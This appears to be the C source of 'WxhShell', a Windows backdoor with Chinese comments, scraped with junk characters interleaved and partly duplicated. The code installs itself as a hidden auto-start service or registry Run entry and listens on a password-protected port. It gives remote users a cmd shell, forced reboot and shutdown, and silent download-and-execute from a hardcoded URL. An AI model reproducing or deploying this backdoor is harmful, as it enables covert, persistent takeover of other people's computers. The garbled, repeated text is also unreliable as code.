}` g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ezm ~SY NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .ev'd&l. B+wSLi( if (!NtQueryInformationProcess) return 0; Io{)@H"f .3A66 O~zT hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I'
ej?~ if(!hProcess) return 0; \QstcsEt l[l('-f if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "N"9PTX S-npJh
6 CloseHandle(hProcess); sE-E\+ [(5;jUmF@ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~9p*zC3M if(hProcess==NULL) return 0; Ytc D&/(Avx.
HMODULE hMod; ^~0\d;l_ char procName[255]; v1QE|@ unsigned long cbNeeded; MSoLx' < I7nt<l! if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \D<rT)Tl ~a4htj CloseHandle(hProcess); sYiegX`1c }?^5\ot u if(strstr(procName,"services")) return 1; // 以服务启动 R>To
L ?7'uo$ return 0; // 注册表启动 d90B15]gv } M&~3fRb4 Z[yQKy // 主模块 pN&5vu30 int StartWxhshell(LPSTR lpCmdLine) &p^S6h { N't*e Ci SOCKET wsl; kz(%8qi8& BOOL val=TRUE; S`BLwnU`# int port=0; +eZR._&0 struct sockaddr_in door; 9l@VxX68M `)&-;CMY if(wscfg.ws_autoins) Install(); ddmTMfH z"u4t.KpL port=atoi(lpCmdLine); mZDrvTI' vAbMU if(port<=0) port=wscfg.ws_port; =GTltFqI1 GNA:|x WSADATA data; Rgw\qOb if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gXZ.je)NM d%\{, if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; wLPL9 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F"#bCnS door.sin_family = AF_INET; [bIdhG door.sin_addr.s_addr = inet_addr("127.0.0.1"); M])Y|}wv8 door.sin_port = htons(port); ((\s4- 81fpeoNO if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~(aQ!!H6 closesocket(wsl); suN{)" return 1; =LL5E}xP } RRqHo~*0 L@2T if(listen(wsl,2) == INVALID_SOCKET) { }a,j1r_Hl& closesocket(wsl); 5*xk8* return 1; xI55pj* } H`G[QC Wxhshell(wsl); DF-`nD WSACleanup(); b{=2#J- ~EG`[cv return 0; {O*WLZ {0 "GEJ9_a[ } M%7{g"J* 9Ruj_U // 以NT服务方式启动 ;"hED:z6% VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +u#;k!B/> { ,OsFv}v7 DWORD status = 0; YgNt>4K DWORD specificError = 0xfffffff; ^]3Y11sI sWP5=t(i+9 serviceStatus.dwServiceType = SERVICE_WIN32; Yj|Oy serviceStatus.dwCurrentState = SERVICE_START_PENDING; Cb7f-Eag serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tI|?k(D serviceStatus.dwWin32ExitCode = 0; K4YpE}]u serviceStatus.dwServiceSpecificExitCode = 0; 'due'|#^ serviceStatus.dwCheckPoint = 0; UM(tM9 serviceStatus.dwWaitHint = 0; r j#K5/df %| }obiV) hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,di'279| if (hServiceStatusHandle==0) return; ~Jrtm7 ]y>)es1 status = GetLastError(); Q"n*`#Yt' if (status!=NO_ERROR) + pZ, RW.D { q{HfT
d serviceStatus.dwCurrentState = SERVICE_STOPPED; $NC1>83 serviceStatus.dwCheckPoint = 0; X}Bo[YoY$ serviceStatus.dwWaitHint = 0; &u( eu'Q3 serviceStatus.dwWin32ExitCode = status; @cA`del serviceStatus.dwServiceSpecificExitCode = specificError; d!5C$C/x SetServiceStatus(hServiceStatusHandle, &serviceStatus); x+x6F return; +!6aB|- } "rOe J~4 X ml <X92Y serviceStatus.dwCurrentState = SERVICE_RUNNING; ,4zwd@&O serviceStatus.dwCheckPoint = 0; 3`S|I_$(T" serviceStatus.dwWaitHint = 0; ?F1NZA[%t if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oMawINDa } %Sr/'7 K I
*YO // 处理NT服务事件,比如:启动、停止 ZdJwy% VOID WINAPI NTServiceHandler(DWORD fdwControl) zV_U/]y { 'VcZ_m: switch(fdwControl) [,Q(~Qb { !qsk;Vk7Z case SERVICE_CONTROL_STOP: s!esk%h{K serviceStatus.dwWin32ExitCode = 0; !'o5X]s serviceStatus.dwCurrentState = SERVICE_STOPPED; XW
w=3$ serviceStatus.dwCheckPoint = 0; Y u\<
serviceStatus.dwWaitHint = 0; la:i!qAH { D7H,49#1Q SetServiceStatus(hServiceStatusHandle, &serviceStatus); &4Q(>"iL4 } 1OJD!juL$ return; / PDe<p case SERVICE_CONTROL_PAUSE: S
C7Tp4 serviceStatus.dwCurrentState = SERVICE_PAUSED; rVgz+'rFD[ break; aT1T.3 a case SERVICE_CONTROL_CONTINUE: 3e4; '5q; serviceStatus.dwCurrentState = SERVICE_RUNNING; e6f:@ O? break; ~G|un}g= case SERVICE_CONTROL_INTERROGATE: *{8<4CVv break; bCr) 3, }; _xT=AF9~o SetServiceStatus(hServiceStatusHandle, &serviceStatus); S*-n%D0q5 } k~Qb"6n2 83~
Gu[ // 标准应用程序主函数 DG,CL8bv int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kY*3)KCp { ,S5tkTa z/6/ // 获取操作系统版本 {U1
j@pKm OsIsNt=GetOsVer(); >Y=HP&A< GetModuleFileName(NULL,ExeFile,MAX_PATH); VU3xP2c: l!CWE // 从命令行安装 px;5X4U if(strpbrk(lpCmdLine,"iI")) Install(); i1k(3:ay< yQ5&S]Xk$$ // 下载执行文件 _Mq0QQ42 if(wscfg.ws_downexe) { 2c`m8EaJ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?tS=rqc8oW WinExec(wscfg.ws_filenam,SW_HIDE); NBHS
} $Y.Z>I; Um YReF<<_ if(!OsIsNt) { ^HYmi\` // 如果时win9x,隐藏进程并且设置为注册表启动 UQ6UZd37 HideProc(); [ fvip_Pt StartWxhshell(lpCmdLine); u3)Oj7cX } ],CJSA!5F else #U45;idp if(StartFromService()) ru[W?O" // 以服务方式启动 7zo)t1H1 StartServiceCtrlDispatcher(DispatchTable); vH/<!jtI else 37GJ}%Qs // 普通方式启动
EN6a?
}5 StartWxhshell(lpCmdLine); $MD|YW5 .J:04t1 return 0; kXimJL_<g } e+jp03m\W ~wG.'d] M,xhQ{eBY !R*%F =========================================== i(R&Q;{E^ l9"4"+?j< ,4W|e! w#.Tp-AZ;\ \pI)tnu6'U .BN~9w " N!Dc\d=8q] B;Pws$J #include <stdio.h> W:D'k^u #include <string.h> ^9*FYV #include <windows.h> ~XAtt\WS
#include <winsock2.h> *V+6409m #include <winsvc.h> _/;k;$gDp #include <urlmon.h> :Awnj!KNCc Vj?{T(K1[ #pragma comment (lib, "Ws2_32.lib") M`IiK+IoU #pragma comment (lib, "urlmon.lib") E^uau=F '}\{4Qst #define MAX_USER 100 // 最大客户端连接数 sute%6yM #define BUF_SOCK 200 // sock buffer O%? TxzX; #define KEY_BUFF 255 // 输入 buffer {TT@Mkz_QC !u~h.DrvZ #define REBOOT 0 // 重启 G8xM]'y #define SHUTDOWN 1 // 关机 v~^c-]4I ?^]29p_ #define DEF_PORT 5000 // 监听端口 &atT7m PZ5BtDm #define REG_LEN 16 // 注册表键长度 7tWt3 #define SVC_LEN 80 // NT服务名长度 8BZTHlUB 9F+i+(\,b // 从dll定义API P|}~=2J typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V_Z ~$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MgJiJ0y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Mda~@)7$ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MQ;c'?!5[! +C3IP // wxhshell配置信息 jP'.a. ^o$ struct WSCFG { wI'8B{[ int ws_port; // 监听端口 yNp l0 d char ws_passstr[REG_LEN]; // 口令 3/a$oO int ws_autoins; // 安装标记, 1=yes 0=no Co6ghH7T char ws_regname[REG_LEN]; // 注册表键名 b;$ -s
\% char ws_svcname[REG_LEN]; // 服务名 J u5<wjQR\ char ws_svcdisp[SVC_LEN]; // 服务显示名 >C""T`5] char ws_svcdesc[SVC_LEN]; // 服务描述信息 XVXiiQ^
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BLxtS int ws_downexe; // 下载执行标记, 1=yes 0=no gQy{OU char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x`N_tWZ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jR~2mf!h*e e*5TZ7. }; QuFcc}{<] 'G1~\CT // default Wxhshell configuration nLK%5C struct WSCFG wscfg={DEF_PORT, jxA`RSY "xuhuanlingzhe", WBTdQG
Q6 1, <3\t J "Wxhshell", $47cKit|k: "Wxhshell", \(UEjlo "WxhShell Service", GCx1lm "Wrsky Windows CmdShell Service", #PYTFB% "Please Input Your Password: ", G<.p".o4 1, GRpS^%8i@ "http://www.wrsky.com/wxhshell.exe", F@Bh>Vb "Wxhshell.exe" d ; (&_; }; s_Y1rD*B `jY*0{ // 消息定义模块 yjCY2T E char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9G(.=aOj, char *msg_ws_prompt="\n\r? for help\n\r#>"; Hb&-pR@e\? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `_{'qqRhe char *msg_ws_ext="\n\rExit."; sW%U3,j char *msg_ws_end="\n\rQuit."; S<^*jheO5 char *msg_ws_boot="\n\rReboot..."; mo%9UL,#W char *msg_ws_poff="\n\rShutdown..."; Zw(*q?9\ char *msg_ws_down="\n\rSave to "; jJ%
*hDZ6t f(q^R char *msg_ws_err="\n\rErr!"; SF*!Z2K char *msg_ws_ok="\n\rOK!"; ahgm*Cpc x7$U char ExeFile[MAX_PATH]; $q#|B3N% int nUser = 0; v8!
1"FYL HANDLE handles[MAX_USER]; X$,#OR int OsIsNt; :b+C<Bp64r 7aTo!T SERVICE_STATUS serviceStatus; 9k.LV/Y SERVICE_STATUS_HANDLE hServiceStatusHandle; @+A`n21,O V^Wo%e7#u[ // 函数声明 yO
Cv-zm int Install(void); `X?l`H;# int Uninstall(void); %XGwQB$zk8 int DownloadFile(char *sURL, SOCKET wsh); IQ$l!) int Boot(int flag); xQs2) void HideProc(void); 2%g)0[1 int GetOsVer(void); }vBk,ED int Wxhshell(SOCKET wsl); .Ajs0 T2 void TalkWithClient(void *cs); eK\ O> int CmdShell(SOCKET sock); \ ?['pB int StartFromService(void); (mXV5IM int StartWxhshell(LPSTR lpCmdLine); ,2u-<8 & i|x2;
v VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4)Y=)#= VOID WINAPI NTServiceHandler( DWORD fdwControl ); <rc3&qmd P\bW k p0 // 数据结构和表定义 <~# ZtD$G SERVICE_TABLE_ENTRY DispatchTable[] = LL Oe { )_!t9gn*wr {wscfg.ws_svcname, NTServiceMain}, fx|$(D@9 {NULL, NULL} l= 5kd.{ }; xy`aR< L M@@"-dy // 自我安装 bG
nBV7b int Install(void) =g'7 xA { Mj5=t:MI char svExeFile[MAX_PATH]; Ni IX^&N1 HKEY key; m;o \.s strcpy(svExeFile,ExeFile); *=}$@OS Gad!}dz // 如果是win9x系统,修改注册表设为自启动 +GMM&6< if(!OsIsNt) { K9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '/
3..3k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NwM = RegCloseKey(key); -WP_0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UMUr"-l = RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *EOIgQp RegCloseKey(key); hBDPz1< return 0; /yn1MW[. } y6Xfddd61 } M9*7r\hqYV } 8^ju= else { w#k'RuOw5 QFIdp R. // 如果是NT以上系统,安装为系统服务 X
tZ0z? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %,%s09tO if (schSCManager!=0) C$ cX{hV { S*rgYe!E SC_HANDLE schService = CreateService W|~Lmdzj ( msg&~"Z schSCManager, +g ovnx wscfg.ws_svcname, ~Bn#AkL wscfg.ws_svcdisp, "
M8j? SERVICE_ALL_ACCESS, FX )g\=ov SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (qHI>3tpY SERVICE_AUTO_START, T#?KY SERVICE_ERROR_NORMAL, {y=H49 svExeFile, oz%ZEi\bW NULL, (i>VJr NULL, Zeyhr\T NULL, {c|nIwdB NULL, u9}}}UN! NULL 8m1@l$ ); f33'2PYl if (schService!=0) 95^w" [}4Q { h";G vjy CloseServiceHandle(schService); ("o<D{A CloseServiceHandle(schSCManager); Y>Q9?>}Q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P"W$ZX strcat(svExeFile,wscfg.ws_svcname); ;^xlDN if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ftF?T.dx RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AS`0.RC- RegCloseKey(key); Hk8:7"4Q return 0; F6Z l#eL } KbVV[ * } 7qA);N CloseServiceHandle(schSCManager); K97lP~Hu } z.oDH<1 } )zI<C=])" <=n$oMO return 1; vG#|CO9 }
L+bO
X +SkD/"5ng // 自我卸载 ;Avd$&:: int Uninstall(void) z~+_sTu { r]Da4G^ HKEY key; G+AD
&EHV j2deb`GD if(!OsIsNt) { @^}
%
o-: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,7SLc+ RegDeleteValue(key,wscfg.ws_regname); d|]F^DDuI RegCloseKey(key); ukv
_bw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,XCC#F(d1 RegDeleteValue(key,wscfg.ws_regname); R+8+L|\wHv RegCloseKey(key); 8dq{.B? return 0; 016l$K4 } /L'm@8 } bP&o]?dN } %l[Cm4 else { 1K^blOLXe A,e/y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DSYtj}> if (schSCManager!=0) 1F-o3\ { k=H{gt
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6 +^V if (schService!=0) *RUB`tEL { ?2OT :/ I, if(DeleteService(schService)!=0) { ##BMh! CloseServiceHandle(schService); 1gts=g. CloseServiceHandle(schSCManager); )-|A|1Uo return 0; n'7 3DApW } ;SeDxyKG CloseServiceHandle(schService); @)m[:n } UP 1Y3 CloseServiceHandle(schSCManager); W"AWhi{h } UF=5k~7<b } 3=@7:4 A !Zgb|e8< return 1; jii2gtu'U } X_+`7yCi"x .\X/o!xC // 从指定url下载文件 Crh5^? int DownloadFile(char *sURL, SOCKET wsh) ~ygiKsD6b { [=u8$5/a HRESULT hr; Q#urx^aw char seps[]= "/"; JM -Tp!C> char *token; XJ?|\=] char *file; U }MU>kzb char myURL[MAX_PATH]; |^C?~g char myFILE[MAX_PATH]; M:6H%6eT -]~U_J] strcpy(myURL,sURL); >pO[S[ token=strtok(myURL,seps); j\q1b:pE while(token!=NULL) _a8^AG { EK_NN<So# file=token; TgJx% token=strtok(NULL,seps); %MU<S9k } 1sYwFr 5 HB {w: GetCurrentDirectory(MAX_PATH,myFILE); (<s7X$(]e strcat(myFILE, "\\"); \K`AO{ D@ strcat(myFILE, file); xO9,,w47 send(wsh,myFILE,strlen(myFILE),0); $%`OJf*k send(wsh,"...",3,0); )9##mUt'} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JxiLjvIq if(hr==S_OK) .hn{m9|U return 0; 'SYj Ehvw else n7
4?W return 1; muT+H(Z p} jr~ +}|@{ } UY*Hc 2$yKa5SaX // 系统电源模块 Hlp!6\gukp int Boot(int flag) Otj=vGr0 { >*,Zc HANDLE hToken; ;H_yNrwA TOKEN_PRIVILEGES tkp; # Fw<R'c 6S])IA&VJ if(OsIsNt) { Xp1xhb*^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Zg5@l3w LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M7Cq)cT tkp.PrivilegeCount = 1; :35J<oG tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [esjR`u AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?(*KQ#d if(flag==REBOOT) { @7 &rDZ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {F6hx9? return 0; TGdD7n&Ehh } (NOAHV0H else { .=3Sm% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ag }hyIl return 0; zu(/c } S"CsY2; } 1m|Oi%i4 else { }<uD[[FLB if(flag==REBOOT) { gmLGK1 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yrR<F5xge return 0; jeN_
sm81b } ?CA P8 _ else {
Jh{(xGA if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^TVica return 0; #E5Sc\, } 8'Xpx+v } & oZI.Qeo {(o\G"\<XY return 1; R)WvU4+U } Dgj`_yd YgQ_P4B; // win9x进程隐藏模块 } !pC}m void HideProc(void) 7 '2E-#^ { 0h^upB#p w?Nvm?_] HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qXt2m if ( hKernel != NULL ) cm%QV? { Q
{3"& pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z7JI4" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +NxEx/{ FreeLibrary(hKernel); *1ekw#' } /_xwHiA 3xsC"c> return; '-D-H}%;}M } X4BDl pJ6bX4QnDX // 获取操作系统版本 Za jQ B int GetOsVer(void) AQ32rJT8c` { AVOqW0Z+y OSVERSIONINFO winfo; 8n?P'iM winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6>%)qc$i GetVersionEx(&winfo); zY(w`Hm2 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t.j q]L return 1; R7KHfXy'm else 4M i*bN, return 0; bo <.7 } Rr^<Q:#"<| r}WV"/]p // 客户端句柄模块 8niQG'] int Wxhshell(SOCKET wsl) j08G-_Gjn { FnP/NoZa> SOCKET wsh; uB
6`e!Q struct sockaddr_in client; qK:.j DWORD myID; +@cf@}W6QC 4_&$isq while(nUser<MAX_USER) U2ecvq[T { \'GX^0yK int nSize=sizeof(client); Al$"k[-Uin wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r@e_cD]
M if(wsh==INVALID_SOCKET) return 1; %HL@O]ftS TqKL(Qw
E handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b^y#.V.|k if(handles[nUser]==0) ~fAdOh closesocket(wsh); lc>nUhj. else 67 }y/C]< nUser++; 7eQ7\,^H } F{[2|u(4 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [bJ"*^M) 4eU};Pv return 0; '@AK0No\W } gD _tBv lk}R#n$ // 关闭 socket QP7EP aW void CloseIt(SOCKET wsh) s8WA@)L { z/F(z*'v closesocket(wsh); MGX,JW>L nUser--; (+@3Dr5o0} ExitThread(0); Vhz?9i6|g^ } *B)>5r &%fy // 客户端请求句柄 g5V9fnb!d void TalkWithClient(void *cs) ;g^QHr { ^KF $*xnq%A SOCKET wsh=(SOCKET)cs; Z#w1,n88 char pwd[SVC_LEN]; Fu )V2[TY char cmd[KEY_BUFF]; |; $fy- char chr[1]; ^-4mZXAy1| int i,j; AcrbR&cvG Mq[;: while (nUser < MAX_USER) { 6 [a CjW ?j?{}Z if(wscfg.ws_passstr) { %a8'6^k if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C(}9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6DaH+ //ZeroMemory(pwd,KEY_BUFF); fR5
NiH i=0; ?5$\8gZ while(i<SVC_LEN) { @D9c .#5<ZAh/? // 设置超时 M4nM%qRGQ fd_set FdRead; v_{`O'#j^ struct timeval TimeOut; BG-uKJ ^ FD_ZERO(&FdRead); =H>rX
2k FD_SET(wsh,&FdRead); #MHnJ TimeOut.tv_sec=8; _UjAct]6
TimeOut.tv_usec=0; u<!!%C~+= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <C+:hsS= if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {8@?9Z9R{ .Z8 x!!Q* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2i |wQU5w pwd=chr[0]; ]v rpr%K if(chr[0]==0xd || chr[0]==0xa) { 3hO`GM pwd=0; @]H&(bw break; a}M7"v9 } bk2HAG i++; `Wn0v2@a(~ } Ea!}r|~]0 #8;^ys1f // 如果是非法用户,关闭 socket tI*u"%#t if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >|6[uKrO } +]I;C ujmW {() send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^zsCF0 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `r_qvrC wh|[
"U(' while(1) { C0i: *1 ?Sn$AS I
ZeroMemory(cmd,KEY_BUFF); ;L(W'+ ?7^(' // 自动支持客户端 telnet标准 .N_0rPO,Kw j=0; kzJNdYtdH while(j<KEY_BUFF) { jtQ2vJ- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |A'8 'z&q cmd[j]=chr[0]; R!*UU'se if(chr[0]==0xa || chr[0]==0xd) { bt%k;Z] cmd[j]=0; f:Nfw+/q break; F mh;d*IT } w,eYrxR|N j++; [ueT]% } %CF(SK2w -T4?5T_ // 下载文件 C.8]~MP if(strstr(cmd,"http://")) { ?.\CUVK send(wsh,msg_ws_down,strlen(msg_ws_down),0); >bz}IcZP if(DownloadFile(cmd,wsh)) IJS9%m# send(wsh,msg_ws_err,strlen(msg_ws_err),0); .A\9|sRZ5 else T6OIb send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tud[VS?99 } >AN`L`%2 else { }4cLU.L8O $o/?R]h switch(cmd[0]) { J:#B,2F+^ oF]0o`U&a // 帮助 E`LML? case '?': { Fd5{ pM3 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +Y)rv6}m break; J24UUZ9&$ } c#u-E6 // 安装 %pL
,A5M case 'i': { J^n(WnM*F if(Install()) J%j#gyTU send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,_u8y&<|I else ThJLaNS send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4xtbP\= break; }k \a~<'X } U>:CX
XHRt // 卸载 `U2Z(9le case 'r': { #jA|04w if(Uninstall()) ^YenS6`F send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~`T(mh', else ZzzQXfA# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )3h=V^rm break; hd/5*C{s } qIA!m
.GC // 显示 wxhshell 所在路径 f
IQ$a> case 'p': { !?O:%QG char svExeFile[MAX_PATH]; )"t=sFxaB strcpy(svExeFile,"\n\r"); bC?t4-W strcat(svExeFile,ExeFile); Wj.)wr! send(wsh,svExeFile,strlen(svExeFile),0); =]-! break; c!{.BgGN } FT `y3~ // 重启 Ug3PZ7lK case 'b': { -Zocu<Rs send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;#`Z(A} if(Boot(REBOOT)) (zk'i13#6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sh2q#7hf else { >,uof ? closesocket(wsh); Xw9,O8}C7 ExitThread(0); e)!X9><J } ]~3wq[O break; zHDC8m } /A|ofAr) // 关机 "^22Y}VB case 'd': { ;\4}Hcg send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5 xTm] if(Boot(SHUTDOWN)) _V-@95fK send(wsh,msg_ws_err,strlen(msg_ws_err),0); u"X8(\pOn else { >@h0@N closesocket(wsh); (;~[}" ExitThread(0); s8@f Z4 } Be8Gx break; t8]u#bx"? } oo-^BG // 获取shell cO)GiWE case 's': {
?o9l{4~g CmdShell(wsh); cS QUK closesocket(wsh); WDE_"Mm ExitThread(0); <mrLld#_:C break; 9DKmXL } $AG.< // 退出 gq Z7Pro. case 'x': { t~sW]<qjp send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MT%ky CloseIt(wsh); s![=F}ck break; 5A~w_p*} } 3w!oJB // 离开 1hi^ case 'q': { \&ERSk2 send(wsh,msg_ws_end,strlen(msg_ws_end),0); GlQ=M )E closesocket(wsh); (t<i?>p WSACleanup(); g>OGh o exit(1); zrnc~I+
break; ax>en]rNP } ;u}MG3Y8 } oJyC{G } X=${`n%LG c7wza/r> // 提示信息 0IQu6
X if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3,N7Nfe } >tib21* } !l.Rv_o<O sE>'~+1_O return; YJrK oK} } 3i35F.=X, Vk0O^o // shell模块句柄 cf0em! int CmdShell(SOCKET sock) FCqs' { Pbm;@V STARTUPINFO si; r8^1JJ~\ ZeroMemory(&si,sizeof(si)); E%H,Hk^ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g6
7* Bs si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'Nfg%)-N PROCESS_INFORMATION ProcessInfo; 1D=My1B char cmdline[]="cmd"; Haq23K CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F^`sIrZvs return 0; BN#^
/a- } -#rFCfPy^ tH>%`: // 自身启动模式 V+Cb.$@ int StartFromService(void) -pg7>vO q { P3lNns3 typedef struct tC|5;'m.2 { Fo~C,@/Qt DWORD ExitStatus; 2<u vz<B DWORD PebBaseAddress; Z( xn- DWORD AffinityMask; V :d/;~ DWORD BasePriority; rp(`V@x3 ULONG UniqueProcessId; &,NHk9.aq ULONG InheritedFromUniqueProcessId; YdC:P#
Nf } PROCESS_BASIC_INFORMATION; J0o U5d=3 _ogT(uYyr PROCNTQSIP NtQueryInformationProcess; e[Q(OV5(R ^+,mxV'8! static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #i)h0ML/e static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :,GsbNKW nM
R_ ?g HANDLE hProcess; !aLByMA PROCESS_BASIC_INFORMATION pbi; \ZCc~muR $t}L|"=8X HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ap;*qiNFQ if(NULL == hInst ) return 0; i$%;z~#wW 63:ZDQ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S&.DpsK g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G
V0q? NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J
fsCkS !H?#~{
W} if (!NtQueryInformationProcess) return 0; jZm1.{[> .0\Wu+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y6:=2(]w<p if(!hProcess) return 0; `@Kh>K {/#?n[" if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; atl0#F Bd &yVii^ CloseHandle(hProcess); ;'=!Fv K})j5CJ/ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QKCk. 0Xe if(hProcess==NULL) return 0; Vfc9+T+ {d^&$~ HMODULE hMod; %v}:#_va] char procName[255]; b%|%Rek8 unsigned long cbNeeded; 8V~w3ssz XPWK"t01 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mYa0_P%^ We9C9)0 CloseHandle(hProcess); mE^6Zu <7^_M*F9 if(strstr(procName,"services")) return 1; // 